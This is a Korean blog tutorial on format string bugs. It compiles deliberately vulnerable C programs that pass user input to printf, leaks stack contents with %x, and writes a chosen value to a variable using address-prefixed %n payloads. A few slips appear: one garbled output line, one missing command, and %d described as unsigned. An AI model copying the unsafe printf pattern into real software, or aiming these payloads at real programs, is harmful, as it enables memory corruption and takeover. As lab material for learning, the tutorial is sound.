- 포맷스트링(Format String)
printf("Hex=0x%x", value[i]);
포맷스트링 = 포맷스트링 지시자(Format String Directive)
[EX]
# vi format.c
|
#include <stdio.h> #define MAX 127 int main() { int i, value[MAX]; for(i=0; i<MAX; i++) { value[i]=i; printf("Hex=0x%x, DEC=%d, OCT=%o, CHAR=%c\n", value[i], value[i], value[i], value[i]); } printf("\n"); } |
|
> 1~ 127 까지 숫자를 16진수 10진수 8진수 캐릭터 형으로 출력한다.
# gcc -o format format.c
# ./format
|
Hex=0x0, DEC=0, OCT=0, CHAR= Hex=0x1, DEC=1, OCT=1, CHAR= Hex=0x2, DEC=2, OCT=2, CHAR= Hex=0x3, DEC=3, OCT=3, CHAR= Hex=0x4, DEC=4, OCT=4, CHAR= Hex=0x5, DEC=5, OCT=5, CHAR= Hex=0x6, DEC=6, OCT=6, CHAR= Hex=0x7, DEC=7, OCT=7, CHAR= Hex=0x8, DEC=8, OCT=10, CHAR= Hex=0x9, DEC=9, OCT=11, CHAR= Hex=0xa, DEC=10, OCT=12, CHAR= Hex=0xb, DEC=11, OCT=13, CHAR= Hex=0xc, DEC=12, OCT=14, CHAR= Hex=0xd, DEC=13, OCT=15, CHAR= Hex=0xe, DEC=14, OCT=16, CHAR= H␊│=0│°, DEC=15, OCT=17, CHAR= Hex=0x10, DEC=16, OCT=20, CHAR= Hex=0x11, DEC=17, OCT=21, CHAR= Hex=0x12, DEC=18, OCT=22, CHAR= Hex=0x13, DEC=19, OCT=23, CHAR= Hex=0x14, DEC=20, OCT=24, CHAR= Hex=0x15, DEC=21, OCT=25, CHAR= Hex=0x16, DEC=22, OCT=26, CHAR= Hex=0x17, DEC=23, OCT=27, CHAR= Hex=0x18, DEC=24, OCT=30, CHAR= Hex=0x19, DEC=25, OCT=31, CHAR= Hex=0x1a, DEC=26, OCT=32, CHAR= Hex=0x1b, DEC=27, OCT=33, CHAR= Hex=0x1c, DEC=28, OCT=34, CHAR= Hex=0x1d, DEC=29, OCT=35, CHAR= Hex=0x1e, DEC=30, OCT=36, CHAR= Hex=0x1f, DEC=31, OCT=37, CHAR= Hex=0x20, DEC=32, OCT=40, CHAR= Hex=0x21, DEC=33, OCT=41, CHAR=! Hex=0x22, DEC=34, OCT=42, CHAR=" Hex=0x23, DEC=35, OCT=43, CHAR=# Hex=0x24, DEC=36, OCT=44, CHAR=$ Hex=0x25, DEC=37, OCT=45, CHAR=% Hex=0x26, DEC=38, OCT=46, CHAR=& Hex=0x27, DEC=39, OCT=47, CHAR=' Hex=0x28, DEC=40, OCT=50, CHAR=( Hex=0x29, DEC=41, OCT=51, CHAR=) Hex=0x2a, DEC=42, OCT=52, CHAR=* Hex=0x2b, DEC=43, OCT=53, CHAR=+ Hex=0x2c, DEC=44, OCT=54, CHAR=, Hex=0x2d, DEC=45, OCT=55, CHAR=- Hex=0x2e, DEC=46, OCT=56, CHAR=. Hex=0x2f, DEC=47, OCT=57, CHAR=/ Hex=0x30, DEC=48, OCT=60, CHAR=0 Hex=0x31, DEC=49, OCT=61, CHAR=1 Hex=0x32, DEC=50, OCT=62, CHAR=2 Hex=0x33, DEC=51, OCT=63, CHAR=3 Hex=0x34, DEC=52, OCT=64, CHAR=4 Hex=0x35, DEC=53, OCT=65, CHAR=5 Hex=0x36, DEC=54, OCT=66, CHAR=6 Hex=0x37, DEC=55, OCT=67, CHAR=7 Hex=0x38, DEC=56, OCT=70, CHAR=8 Hex=0x39, DEC=57, OCT=71, CHAR=9 Hex=0x3a, DEC=58, OCT=72, CHAR=: Hex=0x3b, DEC=59, OCT=73, CHAR=; Hex=0x3c, DEC=60, OCT=74, CHAR=< Hex=0x3d, DEC=61, OCT=75, CHAR== Hex=0x3e, DEC=62, OCT=76, CHAR=> Hex=0x3f, DEC=63, OCT=77, CHAR=? Hex=0x40, DEC=64, OCT=100, CHAR=@ Hex=0x41, DEC=65, OCT=101, CHAR=A Hex=0x42, DEC=66, OCT=102, CHAR=B Hex=0x43, DEC=67, OCT=103, CHAR=C Hex=0x44, DEC=68, OCT=104, CHAR=D Hex=0x45, DEC=69, OCT=105, CHAR=E Hex=0x46, DEC=70, OCT=106, CHAR=F Hex=0x47, DEC=71, OCT=107, CHAR=G Hex=0x48, DEC=72, OCT=110, CHAR=H Hex=0x49, DEC=73, OCT=111, CHAR=I Hex=0x4a, DEC=74, OCT=112, CHAR=J Hex=0x4b, DEC=75, OCT=113, CHAR=K Hex=0x4c, DEC=76, OCT=114, CHAR=L Hex=0x4d, DEC=77, OCT=115, CHAR=M Hex=0x4e, DEC=78, OCT=116, CHAR=N Hex=0x4f, DEC=79, OCT=117, CHAR=O Hex=0x50, DEC=80, OCT=120, CHAR=P Hex=0x51, DEC=81, OCT=121, CHAR=Q Hex=0x52, DEC=82, OCT=122, CHAR=R Hex=0x53, DEC=83, OCT=123, CHAR=S Hex=0x54, DEC=84, OCT=124, CHAR=T Hex=0x55, DEC=85, OCT=125, CHAR=U Hex=0x56, DEC=86, OCT=126, CHAR=V Hex=0x57, DEC=87, OCT=127, CHAR=W Hex=0x58, DEC=88, OCT=130, CHAR=X Hex=0x59, DEC=89, OCT=131, CHAR=Y Hex=0x5a, DEC=90, OCT=132, CHAR=Z Hex=0x5b, DEC=91, OCT=133, CHAR=[ Hex=0x5c, DEC=92, OCT=134, CHAR=\ Hex=0x5d, DEC=93, OCT=135, CHAR=] Hex=0x5e, DEC=94, OCT=136, CHAR=^ Hex=0x5f, DEC=95, OCT=137, CHAR=_ Hex=0x60, DEC=96, OCT=140, CHAR=` Hex=0x61, DEC=97, OCT=141, CHAR=a Hex=0x62, DEC=98, OCT=142, CHAR=b Hex=0x63, DEC=99, OCT=143, CHAR=c Hex=0x64, DEC=100, OCT=144, CHAR=d Hex=0x65, DEC=101, OCT=145, CHAR=e Hex=0x66, DEC=102, OCT=146, CHAR=f Hex=0x67, DEC=103, OCT=147, CHAR=g Hex=0x68, DEC=104, OCT=150, CHAR=h Hex=0x69, DEC=105, OCT=151, CHAR=i Hex=0x6a, DEC=106, OCT=152, CHAR=j Hex=0x6b, DEC=107, OCT=153, CHAR=k Hex=0x6c, DEC=108, OCT=154, CHAR=l Hex=0x6d, DEC=109, OCT=155, CHAR=m Hex=0x6e, DEC=110, OCT=156, CHAR=n Hex=0x6f, DEC=111, OCT=157, CHAR=o Hex=0x70, DEC=112, OCT=160, CHAR=p Hex=0x71, DEC=113, OCT=161, CHAR=q Hex=0x72, DEC=114, OCT=162, CHAR=r Hex=0x73, DEC=115, OCT=163, CHAR=s Hex=0x74, DEC=116, OCT=164, CHAR=t Hex=0x75, DEC=117, OCT=165, CHAR=u Hex=0x76, DEC=118, OCT=166, CHAR=v Hex=0x77, DEC=119, OCT=167, CHAR=w Hex=0x78, DEC=120, OCT=170, CHAR=x Hex=0x79, DEC=121, OCT=171, CHAR=y Hex=0x7a, DEC=122, OCT=172, CHAR=z Hex=0x7b, DEC=123, OCT=173, CHAR={ Hex=0x7c, DEC=124, OCT=174, CHAR=| Hex=0x7d, DEC=125, OCT=175, CHAR=} Hex=0x7e, DEC=126, OCT=176, CHAR=~ |
|
> 처음에 몇개 안나오는 것들은 공백이나 엔터 ctrl 같은 표시할 수 없는 것들이다.
> 아스키 테이블에 맞게 나왔다.
-> 2진수로 저장된 값을 우리가 인식할 수 있는 형태로 바꿔 주는 것이 바로 printf() 함수와 같은 곳에 전달하는 포맷 스트링 인자이다.
- 포맷 스트링 종류
%x int 부호없는 16진수
%d int 부호없는 10진수
%o int 부호없는 8진수
%c char 1개 문자
%s char * "\0" 까지 문자열
%p void * 변수의 주소 16진수 출력
%n int * %n 이전까지의 문자열 바이트 수 쓰기
|
#include <stdio.h> int main(int argc, char *argv[]) { int a=10; char *RokHacker="I am ROKHacker!"; char *SuperUser="I am SuperUser!"; printf(argv[1]); printf("\n"); } |
|
> \n 이 정확히 어떤 역할을 하는지 알아보자
# gcc -mpreferred-stack-boundary=2 -o format2 format2.c
-> 스택의 경계가 2바이트 단위로 증가하게 된다.
# ./format2 %x
|
8048420 |
|
> %x 라고 그대로 나오지 않고 이상한 숫자가 나왔다. %x 를 스트링이 아니라 포맷스트링으로 인식했다.
# ./format2 "%8x %8x %8x %8x %8x %8x %8x %8x"
|
8048420 8048410 a bfffeff8 42015574 2 bffff024 bffff030 |
|
# gdb -q format2
(gdb) disas main Dump of assembler code for function main: 0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0xc,%esp 0x0804832e <main+6>: movl $0xa,0xfffffffc(%ebp) 0x08048335 <main+13>: movl $0x8048410,0xfffffff8(%ebp) 0x0804833c <main+20>: movl $0x8048420,0xfffffff4(%ebp) 0x08048343 <main+27>: mov 0xc(%ebp),%eax 0x08048346 <main+30>: add $0x4,%eax 0x08048349 <main+33>: pushl (%eax) 0x0804834b <main+35>: call 0x8048268 <printf> 0x08048350 <main+40>: add $0x4,%esp 0x08048353 <main+43>: push $0x8048430 0x08048358 <main+48>: call 0x8048268 <printf> 0x0804835d <main+53>: add $0x4,%esp 0x08048360 <main+56>: leave 0x08048361 <main+57>: ret 0x08048362 <main+58>: nop 0x08048363 <main+59>: nop End of assembler dump. (gdb) b *0x0804834b Breakpoint 1 at 0x804834b (gdb) r "%8x %8x %8x %8x %8x %8x %8x %8x" Starting program: /root/bin/format2 "%8x %8x %8x %8x %8x %8x %8x %8x" Breakpoint 1, 0x0804834b in main () (gdb) x/9x $esp 0xbfffe4c8: 0xbffffc36 0x08048420 0x08048410 0x0000000a 0xbfffe4d8: 0xbfffe4f8 0x42015574 0x00000002 0xbfffe524 0xbfffe4e8: 0xbfffe530 |
|
> 스택의 구조
|
4bytes |
4bytes |
4bytes |
4bytes |
4bytes |
4bytes |
4bytes |
4bytes |
|
|
*SuperUser |
*ROKHacker |
a |
SFP |
RET |
argc |
*argv |
*env |
|
|
0x08048420 |
0x08048410 |
0x0000000a |
0xbfffe4f8 |
0x42015574 |
0x00000002 |
0xbfffe524 |
0xbfffe530 |
|
> 스택의 주소를 출력했다는 점을 알았다.
- 공격
%n 지정자를 사용하면 메모리의 값을 읽을 수 있을 뿐만 아니라 쓸 수도 있다.
# vi format3.c
|
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { static int i=0; char str[128]; strcpy(str, argv[1]); printf(str); printf("\n i=%p, i=%d\n", &i, i); } |
|
> i의 주소를 바꿔보자
# gcc -o format3 format3.c
# ./format3 "AAAA"
|
AAAA i=0x8049484, i=0 |
|
# ./format3 "AAAA %8x"
|
AAAA bffffc3c i=0x8049484, i=0 |
|
# ./format3 "AAAA %8x %8x"
|
AAAA bffffc38 0 i=0x8049484, i=0 |
|
# ./format3 "AAAA %8x %8x %8x"
|
AAAA bffffc34 0 0 i=0x8049484, i=0 |
|
|
AAAA bffffc30 0 0 41414141 i=0x8049484, i=0 |
|
> AAAA가 다시 나왔다 (0x41414141)
> printf(str)에서 AAAA를 출력하기 때문에 다시 나온다.
> %8x 4번째에 나왔으므로 3번은 써서 넘기고 다음 번째를 바꾼다.
> 바꾸는 i의 주소는 0x8049484 이고 스택에는 거꾸로 넣어야 빼낼때 차례로 나오기 때문에
84 / 94 / 04 / 08 로 입력한다.
# ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%8x%n
|
꼉ffffc35 0 0 i=0x8049484, i=28 |
|
> i의 값이 28로 바뀌었다.
> 28인 이유는 %8x = 8 bytes 3개 있으니 24bytes , 그리고 i의 주소값 4bytes 를 합한 값이다. ( %n 앞에 있는 총 길이 )
# ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%100x%n
|
꼉ffffc33 0 0 i=0x8049484, i=120 |
|
> 같은 이유로 %100x 가 100bytes이기 때문에 다 합하면 120이 된다.
- i=120 으로 맞추는 다른 방법
# ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x%n
> 앞에 뭘 쓰던 %n 앞의 크기가 120만 맞춰주면 된다.
> \x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08 4bytes씩 3개 = 12bytes
> %8x%8x%8x%8x%76x -> 8bytes 4개 = 32bytes 76bytes 1개 ---> 108bytes
-> 12 + 108 = 120
# ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43\x43")%8x%8x%8x%8x%72x%n
'Security > 리버싱' 카테고리의 다른 글
쉘코드(shellcode) 만들기 (kali Linux) (0) | 2017.12.04 |
---|---|
쉘코드 (shellcode) 만들기 (1) | 2017.12.04 |
Level10 분석 (공유 메모리) (0) | 2017.12.01 |
Level 10 문제 해결 (공유 메모리 해킹) (0) | 2017.12.01 |
Level9 응용 (스크립트로 반복되는 문자 입력) (0) | 2017.11.30 |